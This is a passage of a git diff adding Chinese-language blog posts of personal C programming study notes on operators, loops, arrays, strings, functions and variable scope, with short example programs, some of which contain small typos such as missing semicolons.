4 +thingy 为 12 , count 为 3 +thingy 为 13 , count 为 2 +thingy 为 14 , count 为 1 +thingy 为 15 , count 为 0 +``` + +### extern 存储类 + +**extern** 存储类用于提供一个全局变量的引用,全局变量对所有的程序文件都是可见的。当您使用 **extern** 时,对于无法初始化的变量,会把变量名指向一个之前定义过的存储位置。 + +当您有多个文件且定义了一个可以在其他文件中使用的全局变量或函数时,可以在其他文件中使用 *extern* 来得到已定义的变量或函数的引用。可以这么理解,*extern* 是用来在另一个文件中声明一个全局变量或函数。 + +extern 修饰符通常用于当有两个或多个文件共享相同的全局变量或函数的时候,如下所示: + +**第一个文件:main.c** + +```c +#include + +int count ; +extern void write_extern(); + +int main() +{ + count = 5; + write_extern(); +} +``` + +**第二个文件:support.c** + +```c +#include + +extern int count; + +void write_extern(void) +{ + printf("count is %d\n", count); +} +``` + +在这里,第二个文件中的 *extern* 关键字用于声明已经在第一个文件 main.c 中定义的 *count*。现在 ,编译这两个文件,如下所示: + +```bash +$ gcc main.c support.c +``` + +这会产生 **a.out** 可执行程序,当程序被执行时,它会产生下列结果: + +``` +count is 5 +``` + +endhideToggle + +## C 运算符 + +运算符是一种告诉编译器执行特定的数学或逻辑操作的符号。C 语言内置了丰富的运算符,并提供了以下类型的运算符: + +- 算术运算符 +- 关系运算符 +- 逻辑运算符 +- 位运算符 +- 赋值运算符 +- 杂项运算符 + +本章将逐一介绍算术运算符、关系运算符、逻辑运算符、位运算符、赋值运算符和其他运算符。 + +### 算术运算符 + +下表显示了 C 语言支持的所有算术运算符。假设变量 **A** 的值为 10,变量 **B** 的值为 20,则: + +| 运算符 | 描述 | 实例 | +| ------ | -------------------------------- | ---------------- | +| + | 把两个操作数相加 | A + B 将得到 30 | +| - | 从第一个操作数中减去第二个操作数 | A - B 将得到 -10 | +| * | 把两个操作数相乘 | A * B 将得到 200 | +| / | 分子除以分母 | B / A 将得到 2 | +| % | 取模运算符,整除后的余数 | B % A 将得到 0 | +| ++ | 自增运算符,整数值增加 1 | A++ 将得到 11 | +| – | 自减运算符,整数值减少 1 | A– 将得到 9 | + +### 关系运算符 + +下表显示了 C 语言支持的所有关系运算符。假设变量 **A** 的值为 10,变量 **B** 的值为 20,则: + +| 运算符 | 描述 | 实例 | +| ------ | ------------------------------------------------------------ | --------------- | +| == | 检查两个操作数的值是否相等,如果相等则条件为真。 | (A == B) 为假。 | +| != | 检查两个操作数的值是否相等,如果不相等则条件为真。 | (A != B) 为真。 | +| > | 检查左操作数的值是否大于右操作数的值,如果是则条件为真。 | (A > B) 为假。 | +| < | 检查左操作数的值是否小于右操作数的值,如果是则条件为真。 | (A < B) 为真。 | +| >= | 检查左操作数的值是否大于或等于右操作数的值,如果是则条件为真。 | (A >= B) 为假。 | +| <= | 检查左操作数的值是否小于或等于右操作数的值,如果是则条件为真。 | (A <= B) 为真。 | + +### 逻辑运算符 + +下表显示了 C 语言支持的所有关系逻辑运算符。假设变量 **A** 的值为 1,变量 **B** 的值为 0,则: + +| 运算符 | 描述 | 实例 | +| ------ | ------------------------------------------------------------ | ----------------- | +| && | 称为逻辑与运算符。如果两个操作数都非零,则条件为真。 | (A && B) 为假。 | +| \|\| | 称为逻辑或运算符。如果两个操作数中有任意一个非零,则条件为真。 | (A \|\| B) 为真。 | +| ! | 称为逻辑非运算符。用来逆转操作数的逻辑状态。如果条件为真则逻辑非运算符将使其为假。 | !(A && B) 为真。 | + +### 位运算符 + +位运算符作用于位,并逐位执行操作。&、 | 和 ^ 的真值表如下所示: + +| p | q | p & q | p \| q | p ^ q | +| ---- | ---- | ----- | ------ | ----- | +| 0 | 0 | 0 | 0 | 0 | +| 0 | 1 | 0 | 1 | 1 | +| 1 | 1 | 1 | 1 | 0 | +| 1 | 0 | 0 | 1 | 1 | + +假设如果 A = 60,且 B = 13,现在以二进制格式表示,它们如下所示: + +A = 0011 1100 + +B = 0000 1101 + +-—————- + +A&B = 0000 1100 + +A|B = 0011 1101 + +A^B = 0011 0001 + +~A = 1100 0011 + +下表显示了 C 语言支持的位运算符。假设变量 **A** 的值为 60,变量 **B** 的值为 13,则: + +| 运算符 | 描述 | 实例 | +| ------ | ------------------------------------------------------------ | ------------------------------------------------------------ | +| & | 按位与操作,按二进制位进行”与”运算。运算规则:`0&0=0; 0&1=0; 1&0=0; 1&1=1;` | (A & B) 将得到 12,即为 0000 1100 | +| \| | 按位或运算符,按二进制位进行”或”运算。运算规则:`0 | 0=0; 0 | +| ^ | 异或运算符,按二进制位进行”异或”运算。运算规则:`0^0=0; 0^1=1; 1^0=1; 1^1=0;` | (A ^ B) 将得到 49,即为 0011 0001 | +| ~ | 取反运算符,按二进制位进行”取反”运算。运算规则:`~1=-2; ~0=-1;` | (~A ) 将得到 -61,即为 1100 0011,一个有符号二进制数的补码形式。 | +| << | 二进制左移运算符。将一个运算对象的各二进制位全部左移若干位(左边的二进制位丢弃,右边补0)。 | A << 2 将得到 240,即为 1111 0000 | +| >> | 二进制右移运算符。将一个数的各二进制位全部右移若干位,正数左补0,负数左补1,右边丢弃。 | A >> 2 将得到 15,即为 0000 1111 | + +## 赋值运算符 + +下表列出了 C 语言支持的赋值运算符: + +| 运算符 | 描述 | 实例 | +| ------ | ------------------------------------------------------------ | ------------------------------- | +| = | 简单的赋值运算符,把右边操作数的值赋给左边操作数 | C = A + B 将把 A + B 的值赋给 C | +| += | 加且赋值运算符,把右边操作数加上左边操作数的结果赋值给左边操作数 | C += A 相当于 C = C + A | +| -= | 减且赋值运算符,把左边操作数减去右边操作数的结果赋值给左边操作数 | C -= A 相当于 C = C - A | +| *= | 乘且赋值运算符,把右边操作数乘以左边操作数的结果赋值给左边操作数 | C *= A 相当于 C = C * A | +| /= | 除且赋值运算符,把左边操作数除以右边操作数的结果赋值给左边操作数 | C /= A 相当于 C = C / A | +| %= | 求模且赋值运算符,求两个操作数的模赋值给左边操作数 | C %= A 相当于 C = C % A | +| <<= | 左移且赋值运算符 | C <<= 2 等同于 C = C << 2 | +| >>= | 右移且赋值运算符 | C >>= 2 等同于 C = C >> 2 | +| &= | 按位与且赋值运算符 | C &= 2 等同于 C = C & 2 | +| ^= | 按位异或且赋值运算符 | C ^= 2 等同于 C = C ^ 2 | +| \|= | 按位或且赋值运算符 | C \|= 2 等同于 C = C \| 2 | + +### 杂项运算符 ↦ sizeof & 三元 + +下表列出了 C 语言支持的其他一些重要的运算符,包括 **sizeof** 和 **? :**。 + +| 运算符 | 描述 | 实例 | +| -------- | ---------------- | ------------------------------------ | +| sizeof() | 返回变量的大小。 | sizeof(a) 将返回 4,其中 a 是整数。 | +| & | 返回变量的地址。 | &a; 将给出变量的实际地址。 | +| * | 指向一个变量。 | *a; 将指向一个变量。 | +| ? : | 条件表达式 | 如果条件为真 ? 则值为 X : 否则值为 Y | + +## C 中的运算符优先级 + +运算符的优先级确定表达式中项的组合。这会影响到一个表达式如何计算。某些运算符比其他运算符有更高的优先级,例如,乘除运算符具有比加减运算符更高的优先级。 + +例如 x = 7 + 3 * 2,在这里,x 被赋值为 13,而不是 20,因为运算符 * 具有比 + 更高的优先级,所以首先计算乘法 3*2,然后再加上 7。 + +下表将按运算符优先级从高到低列出各个运算符,具有较高优先级的运算符出现在表格的上面,具有较低优先级的运算符出现在表格的下面。在表达式中,较高优先级的运算符会优先被计算。 + +| 类别 | 运算符 | 结合性 | +| ---------- | --------------------------------- | -------- | +| 后缀 | () [] -> . ++ - - | 从左到右 | +| 一元 | + - ! ~ ++ - - (type)* & sizeof | 从右到左 | +| 乘除 | * / % | 从左到右 | +| 加减 | + - | 从左到右 | +| 移位 | << >> | 从左到右 | +| 关系 | < <= > >= | 从左到右 | +| 相等 | == != | 从左到右 | +| 位与 AND | & | 从左到右 | +| 位异或 XOR | ^ | 从左到右 | +| 位或 OR | \| | 从左到右 | +| 逻辑与 AND | && | 从左到右 | +| 逻辑或 OR | \|\| | 从左到右 | +| 条件 | ?: | 从右到左 | +| 赋值 | = += -= *= /= %=>>= <<= &= ^= \|= | 从右到左 | +| 逗号 | , | 从左到右 | + +## C 判断 + +判断结构要求程序员指定一个或多个要评估或测试的条件,以及条件为真时要执行的语句(必需的)和条件为假时要执行的语句(可选的)。 + +C 语言把任何**非零**和**非空**的值假定为 **true**,把**零**或 **null** 假定为 **false**。 + +下面是大多数编程语言中典型的判断结构的一般形式: + +![C 中的判断语句](https://static.runoob.com/wp-content/uploads/c/C-decision-20200923-1.svg) + +### 判断语句 + +C 语言提供了以下类型的判断语句。点击链接查看每个语句的细节。 + +| 语句 | 描述 | +| ------------------------------------------------------------ | ------------------------------------------------------------ | +| [if 语句 ](https://www.runoob.com/cprogramming/c-if.html) | 一个 **if 语句** 由一个布尔表达式后跟一个或多个语句组成。 | +| [if…else 语句 ](https://www.runoob.com/cprogramming/c-if-else.html) | 一个 **if 语句** 后可跟一个可选的 **else 语句**,else 语句在布尔表达式为假时执行。 | +| [嵌套 if 语句 ](https://www.runoob.com/cprogramming/c-nested-if.html) | 您可以在一个 **if** 或 **else if** 语句内使用另一个 **if** 或 **else if** 语句。 | +| [switch 语句 ](https://www.runoob.com/cprogramming/c-switch.html) | 一个 **switch** 语句允许测试一个变量等于多个值时的情况。 | +| [嵌套 switch 语句 ](https://www.runoob.com/cprogramming/c-nested-switch.html) | 您可以在一个 **switch** 语句内使用另一个 **switch** 语句。 | + +### ? : 运算符(三元运算符) + +我们已经在前面的章节中讲解了 **条件运算符 ? :**,可以用来替代 **if…else** 语句。它的一般形式如下: + +``` +Exp1 ? Exp2 : Exp3; +``` + +其中,Exp1、Exp2 和 Exp3 是表达式。请注意,冒号的使用和位置。 + +? 表达式的值是由 Exp1 决定的。如果 Exp1 为真,则计算 Exp2 的值,结果即为整个表达式的值。如果 Exp1 为假,则计算 Exp3 的值,结果即为整个表达式的值。 + +![img](https://www.runoob.com/wp-content/uploads/2014/09/Conditional-Statement-in-C-Programming-Lanuage-Ternary-Operator.png) + +**例:** + +输入一个数字判断他是奇数还是偶数 + +```c +#include + +int main() +{ + int num; + + printf("输入一个数字 : "); + scanf("%d",&num); + + (num%2==0)?printf("偶数"):printf("奇数"); +} +``` + +## C 循环 + +有的时候,我们可能需要多次执行同一块代码。一般情况下,语句是按顺序执行的:函数中的第一个语句先执行,接着是第二个语句,依此类推。 + +编程语言提供了更为复杂执行路径的多种控制结构。 + +循环语句允许我们多次执行一个语句或语句组,下面是大多数编程语言中循环语句的流程图: + +![循环结构](https://www.runoob.com/wp-content/uploads/2015/12/loop.png) + +### 循环类型 + +C 语言提供了以下几种循环类型。点击链接查看每个类型的细节。 + +| 循环类型 | 描述 | +| ------------------------------------------------------------ | ------------------------------------------------------------ | +| [while 循环 ](https://www.runoob.com/cprogramming/c-while-loop.html) | 当给定条件为真时,重复语句或语句组。它会在执行循环主体之前测试条件。 | +| [for 循环 ](https://www.runoob.com/cprogramming/c-for-loop.html) | 多次执行一个语句序列,简化管理循环变量的代码。 | +| [do…while 循环 ](https://www.runoob.com/cprogramming/c-do-while-loop.html) | 除了它是在循环主体结尾测试条件外,其他与 while 语句类似。 | +| [嵌套循环 ](https://www.runoob.com/cprogramming/c-nested-loops.html) | 您可以在 while、for 或 do..while 循环内使用一个或多个循环。 | + +### 循环控制语句 + +循环控制语句改变你代码的执行顺序。通过它可以实现代码的跳转。 + +| 控制语句 | 描述 | +| ------------- | ------------------------------------------------------------ | +| break 语句 | 终止**循环**或 **switch** 语句,程序流将继续执行紧接着循环或 switch 的下一条语句。 | +| continue 语句 | 告诉一个循环体立刻停止本次循环迭代,重新开始下次循环迭代。 | +| goto 语句 | 将控制转移到被标记的语句。但是不建议在程序中使用 goto 语句。 | + +### 无限循环 + +如果条件永远不为假,则循环将变成无限循环。**for** 循环在传统意义上可用于实现无限循环。由于构成循环的三个表达式中任何一个都不是必需的,可以将某些条件表达式留空来构成一个无限循环。 + +```c +#include + +int main () +{ + for( ; ; ) + { + printf("该循环会永远执行下去!\n"); + } + return 0; +} +``` diff --git a/source/_posts/c_learn_2.md b/source/_posts/c_learn_2.md new file mode 100644 index 0000000..e10579f --- /dev/null +++ b/source/_posts/c_learn_2.md @@ -0,0 +1,338 @@ +--- +title: C语言-2 +date: 2022-11-22 12:12:12 +tags: [C语言, 笔记] +categories: 笔记 +--- + + + +**学习目标:** + +- 1、一维数组、二维数组、字符数组的定义、引用、初始化 +- 2、利用数组批量处理数据。 + +## 一、数组的概念 + +1.数组是一组有序数据的集合 + +2.数组中每一个元素都属于同一个数据类型 + +## 二、一维数组 + +### 1、定义 + +- 类型关键字数组名[常量表达式] + - 类型关键字:int、float等 + - 数组名:遵循标识符命名规则 + - 不允许使用C语言中的关键字 + - 由字母、数字、下划线组成,且首字母必须为字母或下划线,不能为数字 + - []不是【】 + - 常量表达式 + - inta[5] + - inta[3+2] + - inta[N]//N是提前声明的符号常量 + +### 2、引用 + +数组名[下标] + +例:a[4]//引用数组中第五个元素 + +### 3、初始化 + +- 在定义数组时,对数组元素赋初值 +- int a[6]={1,2,3,4,5,6}; +- 可只给一部分数组元素赋初值,未赋值部分默认为0 +- int a[6]={1,2,3}; +- 未赋初值的数组,各元素值不确定(取决于不同的编译器) + +![1.jpg](https://s1.vika.cn/space/2022/12/01/1f523d8a397748c7ae677d10ba23bf32) +![2.jpg](https://s1.vika.cn/space/2022/12/01/eec040da2c894d8282429cfddaccdb6d) + +- 初始化的数据个数确定时可以省略数组长度。 + - 例:inta[]={1,2,3}; +- 数组中全部元素初始化为0。 + - 例:inta[6]={0}; + +### 4、一维数组使用示例//输出斐波那契数列前30个数 + +```c +#include +int main() +{ + int f[30]={1,1} + int i; + printf("%d\t%d\t",f[0],f[1]); + for(i=2;i<30;i++) + { + if(i%5==0) + printf("\n"); + f[i]=f[i-1]+f[i-2]; + printf("%d\t",f[i]); + } + return 0; +} +``` + +### 5、排序算法 + +参考:[https://www.cnblogs.com/onepixel/p/7674659.html ](https://www.cnblogs.com/onepixel/p/7674659.html) + +交换排序:所谓交换,就是根据序列中两个记录键值的比较结果来对换这两个记录在序列中的位置,交换排序的特点是:将键值较大的记录向序列的尾部移动,键值较小的记录向序列的前部移动。 + +```c +for(j=0;j<5;j++) +{ + for(i=j+1;i<6;i++) + { + if(a[j]>a[i]) + {t=a[j];a[j]=a[i];a[i]=t;} + } + } +} +``` + +#### 选择排序 + +- 原理:假设长度为n的数组arr,要按照从小到大排序,那么先从n个数字中找到最小值min1,如果最小值min1的位置不在数组的最左端(也就是min1不等于arr[0]),则将最小值min1和arr[0]交换,接着在剩下的n-1个数字中找到最小值min2,如果最小值min2不等于arr[1],则交换这两个数字,依次类推,直到数组arr有序排列。 +- 步骤: + 1.首先在未排序序列中找到最小(大)元素,存放到排序序列的起始位置。 + 2.再从剩余未排序元素中继续寻找最小(大)元素,然后放到已排序序列的末尾。 + 3.重复第二步,直到所有元素均排序完毕。 + +```c +for(j=0;j<5;j++) +{ + for(k=j;i=j+1;i<6;i++) + if(a[k]>a[i]) + k=i; + if(k!=j) + {t=a[k],a[k]=a[j];a[j]=t} +} +``` + +#### 冒泡排序: + +- 原理:假设长度为n的数组arr,要按照从小到大排序。则冒泡排序的具体过程可以描述为:首先从数组的第一个元素开始到数组最后一个元素为止,对数组中相邻的两个元素进行比较,如果位于数组左端的元素大于数组右端的元素,则交换这两个元素在数组中的位置。这样操作后数组最右端的元素即为该数组中所有元素的最大值。接着对该数组除最右端的n-1个元素进行同样的操作,再接着对剩下的n-2个元素做同样的操作,直到整个数组有序排列。 +- 步骤: + 1、比较相邻的元素。如果第一个比第二个大,就交换他们两个。 + 2、对每一对相邻元素做同样的工作,从开始第一对到结尾的最后一对。在这一点,最后的元 + 素应该会是最大的数。 + 3、针对所有的元素重复以上的步骤,除了最后一个。 + 4、持续每次对越来越少的元素重复上面的步骤,直到没有任何一对数字需要比较。 + +``` +for(j=0;j<5;j++) + for(i=0;i<5-j;i++) + if(a[i]>a[i+1]) + {......} +``` + +## 三、二维数组 + +### 1、定义 + +note blue modern +类型关键字 数组名[常量表达式1][常量表达式2] +endnote + +例: + +```c +int a[3][4]; +float b[5][10]; +``` + +### 2、引用 + +note blue modern +数组名[下标1][下标2] +endnote + +例: + +``` +a[0][0] a[0][1] a[0][2] a[0][3] +a[1][0] a[1][1] a[1][2] a[1][3] +a[2][0] a[2][1] a[2][2] a[2][3] +``` + +### 3、初始化 + +#### 1、分行初始化 + +```c +int a[2][3]={{1,2,3},{4,5,6}} +``` + +#### 2、按存放数据整体初始化 + +```c +int a[3][2]={1,2,3,4,5,6} +``` + +#### 3、部分元素初始化 + +```c +int a[3][3]={{1},{},{4,5,6}} +``` + +#### 4、省略第一维初始化 + +```c +int a[][3]={{1},{},{4,5,6}} +``` + +### 4、输入输出 + +#### 1、输入 + +```c +for(i=0;i<3;i++) + for(j=0,j<4;j++) + scanf("%d",&a[i][j]); +``` + +#### 2、输出 + +```c +for(i=0;i<3;i++) +{ + for(j=0,j<4;j++) + printf("%d",a[i][j]); + printf("\n"); +} +``` + +## 四、字符数组 + +**1、C语言中没有表示字符串的类型,也没有字符串变量,字符串用字符数组来存放。** +**2、字符型数据以字符的ASCII码存放在存储单元中,一般占一个字节。** + +### 1、定义 + +```c +char c[10],a[5]; +``` + +### 2、初始化 + +- 字符常量初始化 + + ```c + char c[6]={'H','a','p','p','y','!'}; //sizeof(c)=6 + char c[]={'H','a','p','p','y','!'}; //提供初值个数与定义数组长度相同,可省略长度 + char c[]={'H','a','p','p','y','!','\0'}; //sizeof(c)=7 + ``` + +- 字符串常量初始化 + + ```c + char c[]={"Happy!"}; //sizeof(c)=7因为字符串末尾自动加一个'\0' + char c[]="Happy"; + + //等同于charc[]={'H','a','p','p','y','!','\0'}; + //不同于charc[]={'H','a','p','p','y','!'}; + ``` + +- 关于’\0’ + +note blue modern +C系统在用字符数组存储字符串常量时,会自动在末尾加一个’\0’作为结束符 + +字符数组并不要求它的最后一个字符为’\0‘,因此charc[6]={‘H’,’a’,’p’,’p’,’y’,’!’};完全合法 + +由于系统在处理在字符串常量时会自动加’\0’,为了一致及方便,通常处理时,人为的也加上’\0’ +endnote + +### 3、引用 + +- 单个元素的引用 + +note blue modern +允许引用单个字符元素,输入或输出一个字符。 +endnote + +```c +char c[7]= "happy!"; +scanf("%c",&c[2]); // 对c[2]元素赋一个字符 +printf("%c",c[3]); // 输出c[3]元素p +``` + +note blue modern +以字符串形式进行输入输出 +endnote + +```c +char c[7]; +scanf("%s",c); //注意此处不加&因为在C语言中,数组名代表第一个数组元素的地址 +printf("%s",c); //输出该字符串 +printf("%o",c); //八进制形式输出数组c的起始地址,即第一个数组元素的地址 +``` + +note blue modern +如果利用一个scanf函数输入多个字符串,应在输入时,以空格隔开 +endnote + +```c +char a[5],b[5],c[5]; +scanf("%s%s%s",a,b,c); // 输入How are you分别将三个单词赋给a,b,c三个数组,注意: +// 输入格式控制中间没有空格 +printf("%s%s%s",a,b,c); // 输出How are you +``` + +### 4、使用字符串处理函数 + +- put(字符数组) + 将一个字符串输出到终端 + 作用等效于printf(“%s”,c);也可以输出转义字符 + ![3.jpg](https://s1.vika.cn/space/2022/12/01/1aede231c9b74806b62f3f93416083af) +- gets(字符数组) + 从终端输入一个字符串到字符数组,并且得到一个函数值,该函数值为字符数组的起始地址。 + 相比于scanf(“%s”,c);可以返回数组的地址值 + +![4.jpg](https://s1.vika.cn/space/2022/12/01/4fee6e5fd444452a8746f3b3725475b3) + +- puts与gets函数都仅仅只能处理一个字符串 +- strcat(字符数组1,字符数组2) + 把字符串2接到字符串1后面,结果放到字符数组1中,函数调用后得到的函数值为字符数组1的地址 + +note red modern +注:字符数组1的长度必须足够大,以便容纳连接后的新字符串。 +字符数组定义及初始化时,长度不能省略。 +endnote + +- strcpy(字符数组1,字符串2) + 将字符串2复制到字符数组1中去 + +note red modern +注:字符数组1的长度不小于字符串2的长度; +字符数组1必须写成数组名形式,字符串2可以是字符数组名,也可以是字符串常量 +endnote + +- **strncpy(str1,str2,2)** + +将str2中最前面的两个字符复制到str1中 + +- **strcmp(字符串1,字符串2)** + +比较字符串1和字符串2 + +若相等,函数值为0; + +若字符串1>字符串2,函数值为一个正整数; + +若字符串1<字符串2,函数值为一个负整数。 + +- **strlen(字符数组)** + +测试字符串实际长度 + +- **strlwr(字符串)** + +将字符串中大写字母换成小写字母 + +- **strupr(字符串)** + +将字符串中的小写字母换成大写字母 \ No newline at end of file diff --git a/source/_posts/c_learn_3.md b/source/_posts/c_learn_3.md new file mode 100644 index 0000000..d4ee276 --- /dev/null +++ b/source/_posts/c_learn_3.md @@ -0,0 +1,480 @@ +--- +title: C语言-3 +date: 2022-11-23 20:56:10 +tags: [C语言, 笔记] +categories: 笔记 +--- + + + +## 函数 + +### 1、为什么需要: + +- 程序需要多次实现某一功能 +- 程序需要实现多种功能 + +组装思想—>模块化程序设计 + +### 2、什么是函数: + +函数(function):函数就是功能,每一个函数用来实现某一个特定的功能 + +### 3、函数从哪来: + +- 库函数 +- 编译函数 +- 自己编写函数 + +### 4、函数的分类 + +- 无参函数 +- 有参函数 + +### 5、其他 + +- 一个C程序由一个或多个源文件组成 +- 一个源文件由一个或多个函数组成 + +## 怎么定义函数 + +### 1、为什么要定义 + +- 程序中用到的所有函数必须“先定义,后使用” + +- 同变量定义的道理类似,需要事先告知系统该函数功能、参数等信息,具体包括: + + > 函数的名字,一遍按名调用 + > 函数的类型,即函数返回值的类型 + > 函数的参数名字即类型,以便调用函数时像他们传递数据 + > 函数完成什么操作,即功能 + +### 2、定义函数的方法 + +note blue no-icon +定义无参函数 +endnote + +```c +类型名 函数名() //()内可以加void,可不加 +{ + 函数体 +} + + +例: +void pr() +{ + ptintf("hello world!"); +} +``` + +note blue no-icon +定义有参函数 +endnote + +```c +类型名 函数名(形参列表) +{ + 函数体 +} + + +例: +int max(int a,int b) +{ + return(a>b?a:b); +} +``` + +note blue no-icon +定义空函数 +endnote + +``` +类型名 函数名() +{} + + +例: +void fun() +{} +``` + +## 调用函数 + +一般形式:函数名(实参表列) + +### 1、调用函数的形式 + +``` +函数调用语句 +例: +pr(); + + +函数表达式 //函数调用语句出现在另一个表达式中 +例: +c=2*max(a,b); //调用函数带回一个确定值并参 + + + +加表达式的运算 +函数参数 //函数调用作为另一个函数调用时的参数 +例: +m=max(a,max(b,c)); //将调用max函数的结果再重新作为下一次调用max函数的参数 +``` + +### 2、函数调用时的数据传递 + +在调用有参函数时,系统会把实参的值传传给被调用函数的形参,该值在函数调用期间有效。 + +**1.形参:定义函数时,函数名括号后面的变量称为形式参数(或虚拟参数)** + +- 形参在函数调用时被分配内存单元,调用结束后立即释放 +- 形参为变量时,实参与形参的数据传递是“值传递”,即“单向传递”。 + +**2.实参:在主调函数中调用一个函数时,函数名后面括号中的参数称为实际参数** + +- 实参可以是常量、变量或表达式,但要求有确定值。 +- 应保证形参与实参个数、类型、顺序的一致(字符型与整型可通用)。 +- 形参与实参的类型应相同或i赋值兼容。 + +note red modern +注:实参向形参的数据传递是“值传递”,单向传递,只能由实参传给形参,而不能由形参传给实参。 +实参和形参在内存中占有不同的存储单元,实参无法得到形参的值。 +endnote + +### 3、函数的返回值 + +调函数调用函数希望得到一个确定值,这就是函数的返回值 + +- 函数的返回值是通过return语句获得的 + +- 可以有多个return语句,但只能有一个起作用。即函数只能返回一个值 + +- 函数返回值的类型取决于定义函数时指定的函数值的类型 + + ``` + int max(int x,int y) //函数值为整型 + double min(int x,int..y) //函数值为double类型 + ``` + +- 在定义函数时指定的函数类型一般应该和return语句中的表达式一致,若不一致,则以函数类型为 + 准,即函数类型决定返回值类型。 + +- 对于不带返回值的函数,应当定义为void类型。 + +**小结** + +- 函数——即想要实现某一功能所编写的程序,可将其理解为一个黑匣子,给它相应的输入(由调用 + 者决定),它经过加工操作,给出你一个输出(结果)。 + +- 函数的定义可理解为该制作该黑匣子,需要包括以下信息: + + > 需要明确告知该函数的名字(一般以黑匣子的功能简称作为名字,做到见名知意) + > 使用该函数需要提供的输入(包括明确规定需要提供几个输入以及每个输入的类型) + > 该函数能够实现什么功能(黑匣子的详细功能介绍) + > 函数类型,也称函数返回值类型(即执行完毕后会输出什么) + > + > > 该输出值由return语句带回。 + > > 若不用带回值,则不用写return语句,同时函数定义为void类型 + > > 返回值类型应与函数类型一致,若不一致,则以函数类型为准。 + +- 函数调用:使用该黑匣子的过程,若需要提供输入,则涉及到形参和实参之间的数据传递 + +## 对被调用函数的声明和函数原型 + +**1、调用函数时应该具备的条件** + +- 被调用函数必须是已经定义的函数 +- 若该被调用函数为库函数,则需要在文件开头,用#include指令调用 +- 若该被调用函数为用户自己定义的函数,而该函数的位置在调用它的函数的后面,则需要在主调函数中对被调函数做声明。 + - 声明是为了提前将该函数的相关信息告知编译系统,以允许编译系统检查调用是否合法。 + +**2、函数声明的形式(2种)** + +- 1.函数类型函数名(参数类型1参数名1,参数类型2c参数名2,……参数类型n参数名n); +- 2.函数类型函数名(参数类型1,参数类型2,……参数类型n) + +## 函数的嵌套调用 + +**在调用一个函数的过程中,又调用另一个函数** + +```c +#include +int fun2(int m) +{ + return m*m; +} + +int fun1(int x,int y) +{ + return fun2(x) + fun2(y); +} + +int main() +{ + int a,b; + scanf("%d%d",&a,&b); + printf("%d",fun1(a,b)); + return0; +} +``` + +## 函数的递归调用 + +**在调用一个函数的过程中又直接或间接地调用该函数本身** + +```c +#include +unsigned fac(int n) +{ + unsigned f; + if (n==0) + f = 1; + else + f = fac(n-1)*n; + return f; +} + +int main() +{ + unsigned n,y; + scanf("%d",&n); + y = fac(n); + printf("%d!=%d\n",n,y); + return0; +} +``` + +## 数组作为函数参数(数组元素和数组名) + +- 调用有参函数时,需要提供实参。 +- 实参可以是常量、变量、表达式。 +- 数组元素和数组名也可以作为函数的实参。 + +### 1、数组元素作为函数参数 + +- 与变量作用相当,凡是变量可以出现的地方,都可以用数组元素代替。 + +- 数组元素**只可以作为函数的实参,不可以用作形参。** + + - 因为形参是在函数被调用时临时分配存储单元的,不可能为一个数组元素单独分配存储单元。 + + - 而实参的传递是单向值传递。 + + ```c + //已知10个三角形的三边长,求它们的面积。 + #include + #include + float area(float a,float b,float c) + { + float p,s; + p = (a+b+c)/2; + s = sqrt(p*(p-a)*(p-b)*(p-c)); + return(s); + } + int main() + { + floata[10],b[10],c[10],s[10]; + int i; + for(i=0;i<10;i++) + { + scanf("%f%f%f",&a[i],&b[i],&c[i]); + s[i]=area(a[i],b[i],c[i]); + printf("s[%d]=%f\n",i+1,s[i]); + } + return0; + } + ``` + +### 2、数组名作为函数参数 + +#### 1、一维数组名作为函数参数 + +- 数组名既可以作形参,也可以作实参。 + +- 数组名表示的是数组第一个元素的地址 + +- 形参数组可以不指定大小,但在定义数组时,需要在数组名后加上一个空的方括号 + + ```c + float average(float array[]) //定义average函数,形参数组不指定大小 + ``` + +- 由于用数组名作函数实参时,不是把数组元素的值传给形参,而是把实参数组的首元素地址传递给形参数组,因此这两个数组共用一段内存单元。即形参数组中各元素的值如果发生了变化,会使实参数组元素的值同时发生变化。 + +```c +//形参和实参共享一段内存单元 +#include +void fun(int b[]) +{ + int i; + for (i=0;i<=4;i++) + { + b[i] = 100; + } +} + +int main() +{ + int a[5] = {0}; + int i; + fun(a); + for (i=0;i<=4;i++) + { + printf("%d",a[i]); + } + return0; +} +``` + +#### 2、多维数组名作函数参数 + +- 多维数组元素可以作为函数参数,在被调用函数中,对形参数组定义时,可以指定每一维大小,也可省略第一维大小。 + + ```c + //一下两种均合法 + + int array[3][10]; + int array[][10]; + ``` + +- 但不能将2为或更高维的大小省略 + + ``` + //错误示范 + + int array[][] + int array[3][] + ``` + +- 第二维大小相同的前提下,形参数组第一维可以与实参数组不同 + + ```c + 实参数组定义:int score[5][10]; + 形参数组定义:int array[][10]; 或 int array[8][10]; + ``` + +## 局部变量和全局变量 + +- 量必须先定义,后使用 +- 在一个函数中定义的变量,在其他函数中能否被引用?====》**作用域** +- 在**函数内**定义的变量是**局部变量**,在**函数外**定义的变量是**外部变量**,**外部变量**是**全局变量** + +### 1、定义变量的三种情况 + +- 在函数开头定义(作用范围:从定义处开始至本函数结束)局部变量 +- 在函数内的复合语句内定义(作用范围:本复合语句范围内)局部变量 + +```c +#include +int main() +{ + int a=1,b=2; + { + int c; + c = a+b; + printf("%d",c); //可以输出 + } //c的作用范围仅限于该复合语句块内 + printf("%d",c); //会报错,显示c未被定义 + return0; +} +``` + +- 在函数的外部定义(作用范围:从定义变量的位置开始到本源文件结束)外部变量 + +### 2、其他注意事项 + +- 在一个函数中既可以使用本函数中的局部变量,也可以使用有效的全局变量 +- 设置全局变量可以增加函数间数据联系的渠道,但也因此如果在一个函数中改变了全局变量的值, +- 就会影响到其他函数全局变量的值。 +- 因函数调用只能带回一个函数返回值,因此有时可以利用全局变量得到一个以上的值。 +- 不成文的规定:将全局变量首字母大写 +- 非必要不使用全局变量 + - 长时间占用存储空间 + - 函数通用性降低 + - 增加了耦合性(各函数之间关联变多) + - 移植性差 + - 降低了清晰性 +- 若在同一个源文件中,全局变量和局部变量同名,在局部变量的作用范围内,全局变量会被屏蔽。 + +## 变量的存储方式和生存期 + +- 从变量值的存在时间(生存期)来看,变量的存储可以分为**静态存储方式**和**动态存储方式**。 + - 静态存储方式:程序运行期间由系统分配固定的存储空间(全局变量全部存放在静态存储区中) + - 动态存储方式:程序运行期间,根据需要动态的分配存储空间。(函数形参,自动变量,函数调用时的现场保护和返回地址) + +### 1、局部变量的存储类别 + +#### 1、自动变量(auto) + +- 特点:在调用该函数时,系统会给这些变量分配存储空间,在函数调用结束时就自动释放这些存储空间 + +- 函数中的形参和在函数中定义的局部变量都属于自动变量 + + - 不写auto则隐含指定为自动存储类别 + + ``` + int 